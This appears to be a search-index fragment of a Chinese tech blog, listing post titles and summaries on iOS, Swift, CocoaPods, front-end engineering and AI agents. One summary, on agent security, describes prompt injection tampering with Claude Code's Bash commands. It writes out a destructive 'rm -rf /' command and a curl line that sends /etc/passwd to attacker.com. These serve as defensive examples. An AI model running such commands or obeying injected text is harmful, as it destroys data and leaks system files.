源码导读：从下载到工程集成"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/ios%E4%B8%ADai-chat%E5%AE%9E%E6%88%98/","summary":"做一个能跑的AI聊天Demo只需要几十行代码：拼一个HTTP请求、把模型返回的文本显示出来即可。但要做一个达到生产级体验的AI Chat，就会面对一堆并不\u0026amp;quot;AI\u0026amp;quot;的工程问题：字怎么一个个\u0026amp;quot;蹦\u0026amp;quot;出来？Markdown怎么边流边渲染？模型想让前端弹一个卡片甚至一个表单，该怎么办？用户点击卡片里的按钮怎么回传给模型？\n本文以iOS为实现目标，系统梳理AI Chat的工程架构，重点讲清楚两件事：流式输出与A2UI（Agent to UI），同时覆盖工具调用、取消、多模态、端侧推理等常见高级能力。\n一、整体架构 一个完整的iOS AI Chat客户端，通常可以拆成 …","title":"iOS中AI Chat实战"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/","summary":" 源码版本说明：本文涉及的源码基于 Swift 编译器 开发版本（swift main分支，commit: e0db5152d4d4，2026-01-19）。不同版本的实现细节可能略有差异，但核心机制保持一致。\n在前一篇文章Objective-C中import详解中，我们深入探讨了 Objective-C 中的 import 机制，包括 #include、#import、@import 以及 Clang Modules 的工作原理。本文将继续从 Swift 编译器的角度，讲解 Swift 中 import 的语法、模块查找机制、底层实现原理以及与 Objective-C 的互操作。\n从 …","title":"Swift中import详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/%E9%93%BE%E6%8E%A5%E4%BC%98%E5%8C%96/","summary":"链接是 iOS 编译的最后一个阶段，也是大型工程里经常被忽略的瓶颈。Apple 在 WWDC22 的 \u0026amp;ldquo;Link fast: Improve build and launch times\u0026amp;rdquo; 演讲中公开：Xcode 14 新的 ld-prime 链接器比 ld64 快 2 倍。随着 Xcode 17、ThinLTO、Mergeable Libraries 等改进，链接优化已经成为编译加速的重要一环。\n链接器的职责 链接器把多个 .o 合并成最终可执行文件或库：\nflowchart TD A[若干 .o] --\u0026gt; L[链接器] B[静态库 .a] --\u0026gt; L C[动态库 …","title":"编译优化-链接优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/power-%E5%8E%9F%E7%90%86/","summary":"本文从硬件功耗模型、iOS系统的能效调度机制、以及各个硬件模块的功耗特性三个维度，系统性地讲解iOS App耗电的底层原理。\n功耗的基本概念 功率、能量与电量 功率（Power）：单位时间内消耗的能量，单位为瓦特（W）。 能量（Energy）：功率在时间上的积分，单位为焦耳（J）或毫瓦时（mWh）。 电量（Battery Capacity）：电池能存储的总能量，单位为毫安时（mAh）。 \\[ Energy = \\int P(t)\\,dt \\]对于一段时间内近似恒定的功率，可以简化为 \\( E = P \\times t \\)。这也是所有耗电优化的起点——要么降功率（P），要么降时间（t）。\n电池 …","title":"耗电-原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-011/","summary":"大纲 我们会从以下三个方向来讲解埋点与监控的知识：\n什么是埋点？什么是监控？ JS 中实现监控的核心方案 写一个“相对”完整的监控实例 一、什么是埋点？什么是监控？ 在日常沟通中，我们经常会把【埋点】和【监控】放到一起说，但是它们在本质上是有一定的区别的：\n1. 埋点 埋点主要用于收集用户行为数据。在日常开发中，我们会通过 在前端代码中插入代码或脚本的方式 来实现埋点功能。\n埋点的主要作用就是：捕获特定用户行为（如点击、浏览、提交表单、页面跳转等）以及关键业务数据（如下单金额、商品类别等）\n在日常开发中，埋点的实现方案大致可以分为以下三大类：\n手动埋点：在代码中手动加入记录代码来捕获特定事件。 …","title":"前端性能监控"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/","summary":"概述 浏览器的缓存机制也就是我们说的HTTP缓存机制，其机制是根据HTTP报文的缓存标识进行的，所以在分析浏览器缓存机制之前，我们先使用图文简单介绍一下HTTP报文，HTTP报文分为两种：\nHTTP请求(Request)报文，报文格式为：请求行 – HTTP头(通用信息头，请求头，实体头) – 请求报文主体(只有POST才有报文主体)，如下图\nHTTP响应(Response)报文，报文格式为：状态行 – HTTP头(通用信息头，响应头，实体头) – 响应报文主体，如下图\n注：通用信息头指的是请求和响应报文都支持的头域，分别为 …","title":"浏览器的缓存机制解析"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-011/","summary":"跨域资源共享（CORS，Cross-Origin Resource Sharing）是浏览器用来放宽同源策略限制的一种机制，是前端跨域请求的主流解决方案。面试时考察点主要围绕它的原理、工作流程、配置细节及相关安全问题。\n一、CORS 基础概念 作用：允许浏览器从不同源的服务器请求资源，突破同源策略限制。 原理：服务器通过设置特定的 HTTP 响应头，告诉浏览器允许跨域访问。 二、CORS 的关键响应头 头部 说明 Access-Control-Allow-Origin 指明允许访问的源，可以是具体域名（如 https://example.com）或 *（表示允许所有域访问） …","title":"跨域资源共享（CORS）"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-011/","summary":"一 前言 React高阶组件(HOC)，对于很多react开发者来说并不陌生，它是灵活使用react组件的一种技巧，高阶组件本身不是组件，它是一个参数为组件，返回值也是一个组件的函数。\n高阶作用用于强化组件，复用逻辑，提升渲染性能等作用。高阶组件也并不是很难理解，其实接触过后还是蛮简单的，接下来将按照，高阶组件理解？，高阶组件具体怎么使用？应用场景， 高阶组件实践(源码级别) 为突破口，带大家详细了解一下高阶组件。\n我们带着问题去开始今天的讨论：\n1 什么是高阶组件，它解决了什么问题？ 2 有几种高阶组件，它们优缺点是什么？ 3 如何写一个优秀高阶组件？ 4 hoc怎么处理静态属性，跨层级 …","title":"高阶组件"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/web-storage/","summary":"一、 简介 浏览器本地存储是指浏览器提供的一种机制，允许 Web 应用程序在浏览器端存储数据，以便在用户下次访问时可以快速获取和使用这些数据。一共两种存储方式：localStorage 和 sessionStorage。下面介绍下两种缓存的特性和在内部平台的一些应用。\n二、localStorage 和 sessionStorage 2.1、区别 localStorage 和 sessionStorage 的主要区别是生命周期，具体区别如下：\nlocalStorage sessionStorage 生命周期 持久化存储：除非自行删除或清除缓存，否则一直存在 会话级别的存储：浏览器标签页或窗口关闭 …","title":"Web Storage"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/flexbox/","summary":"一、Flexbox布局的概念 Flexbox布局也叫Flex布局，弹性盒子布局。它的目标是提供一个更有效地布局、对齐方式，并且能够使父元素在子元素的大小未知或动态变化情况下仍然能够分配好子元素之间的间隙。主要思想是使父元素能够调整子元素的宽度、高度、排列方式，从而更好的适应可用的布局空间。设定为flex布局的元素能够放大子元素使之尽可能填充可用空间，也可以收缩子元素使之不溢出。 ​\nFlex布局更适合小规模的布局，可以简便、完整、响应式的实现各种页面布局。但是，设为Flex布局以后，其子元素的float、clear和vertical-align属性将失效。Flex弹性盒模型的优势在于只需声明布 …","title":"Flexbox"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/v-for/","summary":"在 Vue.js 开发中，v-for 是我们用来遍历数组、对象或其他数据结构的核心指令。然而，很多开发者可能忽略了其中的一个细微差别：in 和 of。这两个关键字看似相似，但却有各自不同的使用场景和适用数据类型。理解它们的区别，可以帮助我们编写更简洁、高效的代码。\n本文将详细探讨 v-for 中的 in 和 of，并讲解它们各自的适用场景，帮助你在 Vue.js 项目中做出最佳选择。\n什么是 v-for？ v-for 是 Vue.js 提供的用于遍历数据的指令，它可以帮助你快速渲染列表、表格等动态生成的内容。在使用 v-for 时，我们通常需要遍历一个数据集合，并将每一项绑定到 DOM 元素上 …","title":"v-for"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/class/","summary":"Class 的基本语法 简介 类的由来 JavaScript 语言中，生成实例对象的传统方法是通过构造函数。下面是一个例子。\nfunction Point(x, y) { this.x = x; this.y = y; } Point.prototype.toString = function () { return \u0026amp;#39;(\u0026amp;#39; + this.x + \u0026amp;#39;, \u0026amp;#39; + this.y + \u0026amp;#39;)\u0026amp;#39;; }; var p = new Point(1, 2); 上面这种写法跟传统的面向对象语言（比如 C++ 和 Java）差异很大，很容易让新学习这门语言的程序员感 …","title":"Class"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-011/","summary":"JavaScript 中没有类的概念的，主要通过原型链来实现继承。通常情况下，继承意味着复制操作，然而 JavaScript 默认并不会复制对象的属性，相反，JavaScript 只是在两个对象之间创建一个关联（原型对象指针），这样，一个对象就可以通过委托访问另一个对象的属性和函数，所以与其叫继承，委托的说法反而更准确些。\n原型 当我们 new 了一个新的对象实例，明明什么都没有做，就直接可以访问 toString 、valueOf 等原生方法。那么这些方法是从哪里来的呢？答案就是原型。\n在控制台打印一个空对象时，我们可以看到，有很多方法，已经“初始化”挂载在内置的 __proto__ 对象上 …","title":"原型链与继承"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-10/","summary":"10.1 问题引入 当一个 AI Agent 系统从原型走向生产，最棘手的需求往往不是核心推理能力本身，而是外围的「可定制性」：\n企业安全团队希望在每次工具调用前检查是否符合合规策略，且无需修改 Agent 内核代码； 开发者希望在 LLM 返回结果后、工具实际执行前，注入一段额外的上下文信息； 运维工程师需要在会话开始时自动配置环境变量，在会话结束时清理临时资源； 插件系统需要让第三方扩展在不触碰主流程代码的前提下参与到工具调用的决策链中。 这些需求的共同特征是：在不修改 Agent 核心代码的情况下，拦截、修改、扩展其行为。\n这正是「钩子（Hook）」系统要解决的问题。Claude …","title":"第10章 钩子与中间件管线"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/autorelease-explained/","summary":"objc4 runtime guide\nAutorelease 的作用和实现原理 一句话：autorelease 是“延迟一次 release”的机制。对象先被登记到当前线程的自动释放池中， 等池子 pop 时再统一发送 release，从而让返回值和临时对象可以跨过当前语句或当前函数继续存活一小段时间。\n核心文件：runtime/NSObject.mm 数据结构：AutoreleasePoolPage 线程隔离：TLS hot page 边界标记：POOL_BOUNDARY\n先建立正确心智模型 autorelease pool 不是一堆对象的容器类。 在 objc4 里，它更像每个线程私有的 …","title":"objc4 Autorelease 一页讲透"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/%E7%BC%96%E8%AF%91%E4%BC%98%E5%8C%96/","summary":"大型 iOS 工程的编译耗时往往是研发效能最突出的瓶颈之一。以抖音、今日头条、美团为代表的一线团队，工程代码量通常在数百万到千万行级，本地全量编译耗时 10 分钟以上、CI 上半小时起步已是常态。编译等待不仅直接压缩研发时间，还会打断心流、降低人均产出。\n本系列文章从 iOS 编译系统的原理出发，结合社区最新实践（Xcode 16/17 Explicit Modules、rules_xcodeproj、seer-optimize、cocoapods-hmap-prebuilt、Rugby 等），系统性介绍编译优化的各类手段与背后的原理。\n编译流程概述 理解iOS编译原理是编译优化的前提。一次典 …","title":"编译优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/cocoapods-%E4%BB%8E%E5%91%BD%E4%BB%A4%E5%88%B0%E4%BE%9D%E8%B5%96%E6%B1%82%E8%A7%A3/","summary":" 本文是系列第二篇，基于 CocoaPods 1.16.2 源码。我们从 bin/pod 进场，走完 CLAide 的命令分发、Podfile 的 DSL 求值、Analyzer 的七步分析、Resolver + Molinillo 的回溯求解，最后交付 AggregateTarget/PodTarget 给下一篇讲的下载与集成。\n上一篇：架构总览 · 下一篇：从下载到工程集成\n运行示例贯穿全文：pod install --repo-update\n一、bin/pod：16 行的入口 CocoaPods 的可执行文件非常薄，核心逻辑全在 require \u0026#39;cocoapods\u0026#39; 之后的 …","title":"CocoaPods 源码导读：从命令到依赖求解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%BC%E5%AE%B9%E6%80%A7/","summary":"Swift二进制兼容性是指Swift编译后的二进制代码能够跨版本、跨模块正确链接和运行的能力。它由三个核心机制组成：ABI稳定（Swift 5.0）、模块稳定性（Swift 5.1）和Library Evolution。这三者共同使得Swift二进制框架的分发成为可能。\ngraph TD A[Swift二进制兼容性] --\u0026gt; B[ABI稳定Swift 5.0] A --\u0026gt; C[模块稳定性Swift 5.1] A --\u0026gt; D[Library Evolution] B --\u0026gt; B1[统一运行时固定调用约定/内存布局] C --\u0026gt; C1[.swiftinterface跨编译器版本导入模块] D …","title":"Swift二进制兼容性"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/%E5%8F%8D%E5%90%91%E4%BC%A0%E6%92%AD%E7%AE%97%E6%B3%95/","summary":"在上一篇文章中，我们构建了一个神经网络，了解了前向传播是如何产生预测的，也知道了损失函数可以衡量预测有多差。但我们遗留了最核心的问题：那13,002个参数到底该怎么调整，才能让网络变得更好？\n这就是反向传播算法（Backpropagation）要回答的问题。它是神经网络学习的核心引擎，几乎所有现代深度学习的训练都建立在它之上。\n一、梯度下降：从直觉开始 1.1 一个简单的类比 想象你站在一片浓雾中的山地上，看不到全貌，但你能感受到脚下地面的倾斜方向。你的目标是找到最低的山谷。最自然的策略是什么？\n顺着脚下最陡的下坡方向走一小步。\n这就是**梯度下降（Gradient Descent）**的核心 …","title":"反向传播算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/power-%E5%AE%9A%E4%BD%8D%E4%B8%8E%E4%BC%A0%E6%84%9F%E5%99%A8%E4%BC%98%E5%8C%96/","summary":"定位是iOS设备上公认的\u0026amp;quot;耗电大户\u0026amp;quot;，GPS冷启动一次动辄十几秒的高功耗；传感器（加速度计、陀螺仪等）虽然单次功耗不高，但高频采样会累积成可观的电量消耗；屏幕则是 持续 耗电的模块，其功耗和亮度、刷新率、像素颜色都强相关。本文聚焦这三类问题，给出工程化的优化方案。\n一、定位精度与功耗的关系 iOS通过 CLLocationManager 提供定位服务，底层融合了 GPS、蜂窝基站、WiFi、蓝牙信标 等多源信号。精度越高，需要开启的硬件越多，功耗越高。\n精度常量 精度范围 硬件使用 典型功耗 kCLLocationAccuracyBestForNavigation …","title":"耗电-定位与传感器优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%B4%A3%E4%BB%BB%E9%93%BE%E6%A8%A1%E5%BC%8F/","summary":"定义 责任链模式（Chain of Responsibility Pattern）是一种行为型设计模式，它将请求的发送者和接收者解耦，让多个对象都有机会处理请求。将这些对象连成一条链，并沿着这条链传递请求，直到有一个对象处理它为止。\n责任链模式的核心思想是：避免请求发送者与接收者耦合在一起，让多个对象都有可能接收请求，将这些对象组成一条链，并沿着这条链传递请求，直到有对象处理它为止。\n为什么需要责任链模式 问题场景：假设我们正在开发一个审批系统，不同金额的报销需要不同级别的人员审批。\n最直接的方式可能是这样：\nclass ExpenseApproval { func …","title":"责任链模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-012/","summary":"背景 不知道你有没有遇到过以下场景:\n页面逻辑越来越多,代码越来越庞大,写到后面难以 hold 住所有逻辑,很容易牵一发而动全身. 你负责的页面好好的突然出现问题,查到最后是别人代码影响. 同样的逻辑在多个地方重复书写,每次一改要改一批文件 随着前端项目复杂度的急剧增加, 上面列出的几种场景就是传统开发中会出现的问题. 也是前端组件化出现的原因.\n项目复杂度增加, 一个页面一个文件需要处理的内容过多. 重复性劳动多, 效率低 质量差, 不可控 组件化初探 正是由于出现了这样的问题, 为了在越来越复杂的前端项目中提高开发效率和保证开发质量, 各路大神们开始通过各种方式来尝试解决问题.\n曾经非常火 …","title":"前端组件化开发"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-012/","summary":"CDN CDN 即内容分发网络（Content Delivery Network）的简称，是建立在承载网基础上的虚拟分布式网络，能够将源站内容（包括各类动静态资源）智能缓存到全球各节点服务器上。这样不仅方便了用户就近获取内容，提高了资源的访问速度，也分担了源站压力。\nCNAME、A 记录、NS 记录 DNS ( Domain Name System，域名系统)提供了将域名转换为 IP 地址的服务。为了完成这个转化工作，DNS 的数据库中需要维护相关的数据，这些数据被叫做 RR（Resource Record，资源记录）。资源记录有很多种类型，比如 A、NS、SOA、CNAME 和 PTR 记录 …","title":"CDN原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/fragment-portals/","summary":"一、Portals 某些情况下，我们希望渲染的内容独立于父组件，甚至独立于当前挂在的DOM元素（默认都是挂载到id为root的DOM元素上的）\nPortal提供了一种将子节点渲染到存在于父组件以外的DOM节点的优秀的方案：\nReactDOM.createPortal(child, container) 第一个参数：是任何可渲染的React子元素，例如一个元素、字符串或fragment 第二个参数：是一个DOM元素\n通常来讲，当你从组件的 render 方法返回一个元素时，该元素将被挂载到 DOM 节点中离其最近的父节点：\nrender() { // React 挂载了一个新的 div，并且把子 …","title":"Fragment 和 Portals"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-012/","summary":"浏览器安全性是前端开发中的重要考察点之一，主要指浏览器在访问网站过程中如何防止攻击者利用漏洞或机制实施攻击、窃取数据、破坏用户体验等。\n一、常见的浏览器安全威胁 1. XSS（跨站脚本攻击） 原理：攻击者注入恶意脚本到网页中，在用户浏览页面时执行。 危害：窃取 cookie、伪造操作、传播蠕虫。 防御：\n对输出进行HTML转义； 使用 Content Security Policy（CSP）； 严格控制用户输入（白名单）； 使用框架自动防御（如 React 的 JSX 自动转义）。 2. CSRF（跨站请求伪造） 原理：用户登录目标网站后，被诱导访问恶意链接，触发网站上的有状态请求。 危害：修 …","title":"浏览器的安全性"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-012/","summary":"什么是跨域 在了解跨域之前，我们必须要了解一下同源策略。 跨域问题其实就是浏览器的同源策略造成的。\n同源策略 同源策略限制了从同一个源加载的文档或脚本如何与另一个源的资源进行交互。这是浏览器的一个用于隔离潜在恶意文件的重要的安全机制。同源指的是：协议、端口号、域名必须一致。\n跨源资源共享（[CORS]，或通俗地译为跨域资源共享）是一种基于 [HTTP] 头的机制，该机制通过允许服务器标示除了它自己以外的其他[源] （域、协议或端口），使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求，该机制通过浏览器发起一个到服务器托管的跨源资源的“预检” …","title":"跨域通信"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-012/","summary":"Grid 布局是什么？ Grid 布局即网格布局，是一种新的 CSS 布局模型，比较擅长将一个页面划分为几个主要区域，以及定义这些区域的大小、位置、层次等关系。号称是最强大的的 CSS 布局方案，是目前唯一一种 CSS 二维布局。利用 Grid 布局，我们可以轻松实现类似下图布局，演示地址\nGrid 布局和 flex 布局 讲到布局，我们就会想到 flex 布局，甚至有人认为竟然有 flex 布局了，似乎没有必要去了解 Grid 布局。但 flex 布局和 Grid 布局有实质的区别，那就是 flex 布局是一维布局，Grid 布局是二维布局。flex 布局一次只能处理一个维度上的元素布局，一 …","title":"Grid布局"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-012/","summary":"一、DOM 事件流 想必看过《红宝书》的前端 er 对标题都不会特别陌生，我们来看看定义：当一个 HTML 元素产生一个事件时，该事件会在树形结构的 DOM 上面沿着元素节点路径进行传播，事件所经过的路径结点都会收到该事件，这个传播过程可称为 DOM 事件流。\n二、DOM 事件流模型 DOM 事件流分为 捕获型事件流 和 冒泡型事件流。两种事件流分别对应三阶段 DOM 事件流模型中的捕获阶段和冒泡阶段：\n捕获阶段：事件从最外面的祖先节点依次传递到最里面的后代节点 目标阶段：真正的目标节点正在处理事件的阶段 冒泡阶段：事件又从最里面的后代节点逐层传出到最外面的祖先节点 三、Vue 之事件处理 …","title":"vue事件处理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-012/","summary":"每当去学习ES6的时候，我都会不由自主的打开阮一峰老师的《ES6入门》去学习和查找用法，相信大多数同学也都和我一样看过阮老师写的文章。\n当然大家也都知道ES6里常用的API就那么些，不多不少，用在项目中也是刚刚好。\n不过在每次读到Set和Map数据结构那一章的时候，总是有点不知所措，因为我不明白实现这样的数据结构，目的是什么，意义又是什么呢\nSet和Map主要的应用场景在于数组去重和数据存储，幸运的是在读了关于数据结构和算法之类的书籍后，恍然大悟的发现\n原来Set是一种叫做集合的数据结构，Map是一种叫做字典的数据结构\n那么下面就来了解下这两种数据结构，最后来亲手实现的一个ES6中的Set和 …","title":"Map与Set"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-012/","summary":"高阶函数是指那些可以接受函数作为参数或者返回函数作为结果的函数。这种特性使得JavaScript的函数变得异常灵活和强大，为开发者提供了丰富的工具和手段来编写更加简洁、可重用和模块化的代码。\n本文将详细介绍JavaScript高阶函数的概念、特性、常见用法以及在实际开发中的应用。\n一、高阶函数的概念 高阶函数是函数式编程中的一个核心概念。在JavaScript中，函数是一等公民，这意味着函数可以像其他数据类型（如数字、字符串、对象等）一样被传递和操作。高阶函数正是利用了这一特性，使得函数可以作为参数传递给其他函数，或者作为其他函数的返回值。\n二、高阶函数的特性 函数作为参数：高阶函数可以接受一 …","title":"高阶函数"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F/","summary":"定义 适配器模式（Adapter Pattern）是一种结构型设计模式，它将一个类的接口转换成客户期望的另一个接口。适配器让原本接口不兼容的类可以合作。\n适配器模式的核心思想是：通过一个中间层（适配器）来使不兼容的接口能够一起工作，而无需修改原有代码。\n为什么需要适配器模式 适配器模式要解决的核心问题是：让接口不兼容的类能够一起工作，而不需要修改原有代码。\n问题场景：假设我们的App原来使用的是自己封装的网络库，现在想要切换到Alamofire，但项目中有大量地方直接使用了旧接口。\n// 旧的网络接口 - 项目中到处都在使用 protocol OldNetworkClient { func …","title":"适配器模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-11/","summary":" \u0026amp;ldquo;安全系统的可靠性不取决于最强的那道防线，而取决于所有防线的协同深度。\u0026amp;rdquo;\n11.1 问题引入：当 AI 获得 Shell 权限 想象这样一个场景：你让 Claude Code 帮你\u0026amp;quot;清理项目中的临时文件\u0026amp;quot;，它生成了一条 Bash 命令准备执行。这条命令可能是无害的 find . -name \u0026#39;*.tmp\u0026#39; -delete，也可能被恶意提示注入篡改为 rm -rf / --no-preserve-root。更隐蔽地，攻击者可能构造 find . -name \u0026#39;*.tmp\u0026#39; -exec curl attacker.com -d @/etc/passwd …","title":"第11章：安全深度防御算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/associated-objects-explained/","summary":"objc4 runtime Associated Objects objc-references.mm\n关联对象 Associated Objects 作用与实现原理 关联对象让调用方在不改类布局、不新增 ivar 的情况下，把一组 key - value 挂到任意 Objective-C 对象上。 objc4 的实现不是把字段塞进对象内存，而是用一张运行时全局表保存“对象地址、key、关联值和内存管理策略”的映射。\n入口 APIobjc_setAssociatedObject\nobjc_getAssociatedObject\n核心存储AssociationsHashMap …","title":"Objective-C 关联对象 Associated Objects 作用与实现原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/power-%E6%A3%80%E6%B5%8B/","summary":"本文介绍iOS耗电问题的检测手段，从开发阶段的本地工具，到线上的监控体系，帮助团队形成一套完整的耗电可观测能力。\n检测手段全景 flowchart TB subgraph Dev[\u0026#34;研发阶段\u0026#34;] EG[\u0026#34;Xcode Energy Gauge实时能效评分\u0026#34;] Inst[\u0026#34;InstrumentsEnergy Log / Time Profiler\u0026#34;] XCT[\u0026#34;XCTest能效测试\u0026#34;] end subgraph Test[\u0026#34;测试阶段\u0026#34;] Thermal[\u0026#34;热节流测试\u0026#34;] Battery[\u0026#34;真机电量消耗测试\u0026#34;] IOKit[\u0026#34;IOKit内部分析\u0026#34;] LPM[\u0026#34;低电量模式回归\u0026#34;] end …","title":"耗电-检测"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E5%AE%8F/","summary":"Swift 5.9（WWDC 2023）引入的宏（Macro）是近几年语言层最大的一次能力扩展。它让 Swift 第一次具备了编译期代码生成的官方机制——你可以在源码层面写一段\u0026amp;quot;能生成代码的代码\u0026amp;quot;，编译器会在类型检查前把它展开成真正的 Swift 源码，再走正常的编译流程。SwiftUI 的 #Preview、Observation 框架的 @Observable、SwiftData 的 @Model、Swift Testing 的 @Test / #expect、FoundationModels 的 @Generable / @Tool，全都是宏。\n一、为什么要有宏 …","title":"Swift 宏"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/cocoapods-%E6%9E%B6%E6%9E%84%E6%80%BB%E8%A7%88/","summary":" 本系列基于 CocoaPods 1.16.2（2026 年 4 月）源码进行分析。源码仓库由 15 个 Ruby Gem 组成，本文先从整体架构与职责拆分讲起，再以 pod install --repo-update 为主线绘制全景执行图，串起后续两篇专题的切入点。\n系列目录：\n架构总览（本文） 从命令到依赖求解 从下载到工程集成 一、CocoaPods 不是单一仓库 很多人以为 CocoaPods 就是一个 Ruby 项目，其实官方仓库 CocoaPods/CocoaPods 只是入口，真正的能力被拆成 15 个独立 gem，每个 gem 只做一件事。用 gem dependency …","title":"CocoaPods 源码导读：架构总览"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C%E5%8E%9F%E7%90%86/","summary":"想象你手写了一个数字\u0026amp;quot;3\u0026amp;quot;，然后拿给计算机看——它是怎么\u0026amp;quot;认出\u0026amp;quot;这是3而不是8的？这个看似简单的问题，背后隐藏着整个深度学习的核心思想。让我们从最直觉的方式开始，一层一层揭开神经网络的面纱。\n一、从像素到数字：问题的本质 1.1 手写数字识别 假设我们有一张28x28像素的灰度手写数字图片。每个像素是一个0到1之间的数字——0代表全黑，1代表全白。这意味着一张图片其实就是一个包含784个数字的列表。\n图片 → [0.0, 0.0, 0.12, 0.85, 0.93, ..., 0.0] (784个数字) 我们的目标是设计一个函数，输入这784个数字，输出 …","title":"神经网络原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-013/","summary":"传统的多页面应用构建方式： 纯服务端渲染，前后端不分离，使用jsp,jade,\u0026amp;rsquo;ejs\u0026amp;rsquo;,\u0026amp;rsquo;tempalte\u0026amp;rsquo;等技术在后台先拼接成对应的HTML结构，然后转换成字符串，在每个对应的路由返回对应的数据（文件）即可 Jade模版服务端渲染，代码实现：\nconst express= require(\u0026amp;#39;express\u0026amp;#39;) const app =express() const jade = require(\u0026amp;#39;jade\u0026amp;#39;) const result = *** const url path = *** const html = …","title":"单页面架构"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/tcp-udp/","summary":"TCP/IP 五层模型 先看图，为网络模型分层，以及一个完整http请求在五层模型中的完整工作流程\n应用层：最高层，提供特定于应用程序的协议，运行在该层的协议有HTTP、FTP、SSH、WebScoket等 传输层：为两个主机进程通信提供通用的数据传输协议，如TCP、UDP 网络层：负责寻址和路由功能，将数据包发送到特定的计算机，主要协议是IP协议，路由器就是在这一层 链路层：负责将二进制数据包和网络信号相互转换，交换机、网卡就是在这一层 物理层：主要有接收器、发送器、中继器、光纤电缆等 网络协议通过分层来明确每一层的工作职责，通过定义明确的接口来协同工作，第一层都可以使用下面各层的功能，而不 …","title":"TCP和UDP"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-013/","summary":"本文篇幅较长，将从 编译阶段 -\u0026amp;gt; 路由阶段 -\u0026amp;gt; 渲染阶段 -\u0026amp;gt; 细节优化 -\u0026amp;gt; 状态管理 -\u0026amp;gt; 海量数据源，长列表渲染 方向分别加以探讨。\n一 不能输在起跑线上，优化babel配置,webpack配置为项 1 真实项目中痛点 当我们用create-react-app或者webpack构建react工程的时候，有没有想过一个问题，我们的配置能否让我们的项目更快的构建速度，更小的项目体积，更简洁清晰的项目结构。 随着我们的项目越做越大，项目依赖越来越多，项目结构越来越来复杂，项目体积就会越来越大，构建时间越来越长，久而久之就会成了一个又大又重的项目，所以说我们要学 …","title":"性能优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-013/","summary":"HTML 表单是用于收集用户输入数据的重要元素，通常用于提交到服务器进行处理。它包括一系列控件，如文本输入框、按钮、复选框、单选按钮、文件上传等。表单通过 form 标签定义，用户可以通过这些控件与网页进行交互。\n1. 基础结构 表单通过 \u0026amp;lt;form\u0026amp;gt; 标签创建，表单的 action 属性定义数据提交的目标 URL，method 属性定义提交方式（如 GET 或 POST）。 \u0026amp;lt;form action=\u0026amp;#34;/submit\u0026amp;#34; method=\u0026amp;#34;POST\u0026amp;#34;\u0026amp;gt; \u0026amp;lt;input type=\u0026amp;#34;text\u0026amp;#34; …","title":"表单验证"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-013/","summary":"浮动、清除浮动和BFC是前端开发中常见的概念，它们对于页面布局及美化至关重要。\n浮动 在网页设计中，浮动是一种常见的布局技术，可以让元素脱离文档流，我们来看看它有什么作用吧！\n使文字环绕 代码示例如下：\nhtml结构：\n\u0026amp;lt;div class=\u0026amp;#34;box\u0026amp;#34;\u0026amp;gt;\u0026amp;lt;/div\u0026amp;gt; \u0026amp;lt;div class=\u0026amp;#34;text\u0026amp;#34;\u0026amp;gt;一段文字\u0026amp;lt;/div\u0026amp;gt; css样式：\n.box{ width: 200px; height: 200px; background-color: coral; } 若不加浮动，则页面是这样的效果：\n但若是在box加上 